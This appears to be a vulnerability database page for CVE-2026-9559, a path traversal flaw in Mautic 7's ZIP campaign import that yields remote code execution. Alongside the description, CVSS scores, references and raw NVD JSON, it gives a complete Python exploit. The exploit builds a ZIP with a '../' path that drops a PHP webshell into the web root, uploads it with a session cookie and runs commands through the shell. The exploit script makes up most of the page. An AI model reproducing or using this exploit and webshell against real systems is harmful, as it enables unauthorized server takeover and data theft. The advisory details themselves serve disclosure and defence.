CVE-2026-9559

Description

A path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories. An authenticated user with campaign import privileges (campaign:imports:create) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mautic 7.x < 7.0.1 (补丁版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-9559 PoC - Mautic 7 Path Traversal leading to RCE
Note: This PoC is for educational and authorized testing purposes only.
"""
import zipfile
import os
import sys
import requests

def create_malicious_zip():
    """Create a malicious ZIP file with path traversal payload"""
    # Create a PHP webshell that will be written to web root
    webshell_content = b'<?php system($_GET["cmd"]); ?>'
    
    # Path traversal to write to web root
    webshell_path = '../../../var/www/html/mautic/shell.php'
    
    # Alternative: Overwrite Mautic configuration
    config_path = '../../../var/www/html/mautic/config.php'
    
    zip_filename = 'campaign_import.zip'
    
    with zipfile.ZipFile(zip_filename, 'w') as zipf:
        # Add webshell with path traversal
        zipf.writestr(webshell_path, webshell_content)
        
        # Add legitimate campaign data to pass validation
        zipf.writestr('campaigns/import.csv', 'name,description\nMalicious Campaign,Test')
    
    print(f'[+] Created malicious ZIP: {zip_filename}')
    return zip_filename

def exploit_mautic(target_url, zip_file, session_cookie):
    """
    Upload the malicious ZIP file via campaign import feature
    
    Args:
        target_url: Base URL of Mautic installation
        zip_file: Path to malicious ZIP file
        session_cookie: Valid session cookie for authenticated user
    """
    upload_url = f'{target_url}/s/campaigns/import'
    
    headers = {
        'Cookie': f'mautic_session={session_cookie}',
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    files = {
        'file': ('campaign_import.zip', open(zip_file, 'rb'), 'application/zip')
    }
    
    data = {
        'import': 1
    }
    
    try:
        response = requests.post(upload_url, headers=headers, files=files, data=data)
        
        if response.status_code == 200:
            print('[+] Malicious ZIP file uploaded successfully')
            print('[+] Path traversal should have written webshell to web root')
            
            # Check if webshell exists
            webshell_url = f'{target_url}/shell.php?cmd=id'
            check_response = requests.get(webshell_url)
            
            if check_response.status_code == 200:
                print('[+] RCE CONFIRMED - Webshell deployed successfully')
                print(f'[+] Command output: {check_response.text}')
                return True
        else:
            print(f'[-] Upload failed with status code: {response.status_code}')
            return False
            
    except requests.exceptions.RequestException as e:
        print(f'[-] Request failed: {e}')
        return False

def main():
    if len(sys.argv) < 4:
        print(f'Usage: {sys.argv[0]} <target_url> <session_cookie> <action>')
        print('Example: python3 cve_2026_9559.py http://target.com "abc123" create')
        sys.exit(1)
    
    target_url = sys.argv[1].rstrip('/')
    session_cookie = sys.argv[2]
    action = sys.argv[3]
    
    if action == 'create':
        zip_file = create_malicious_zip()
        print(f'[+] ZIP file created: {zip_file}')
    elif action == 'exploit':
        zip_file = 'campaign_import.zip'
        exploit_mautic(target_url, zip_file, session_cookie)
    else:
        print('[-] Invalid action. Use "create" or "exploit"')

if __name__ == '__main__':
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9559
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9559
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9559/
[4] VulDB https://vuldb.com/cve/CVE-2026-9559
[5] https://github.com/mautic/mautic/security/advisories/GHSA-6r9h-4h75-7q4x

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9559", "sourceIdentifier": "[email protected]", "published": "2026-05-29T12:16:26.680", "lastModified": "2026-05-29T15:39:34.620", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories. An authenticated user with campaign import privileges (campaign:imports:create) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://github.com/mautic/mautic/security/advisories/GHSA-6r9h-4h75-7q4x", "source": "[email protected]"}]}}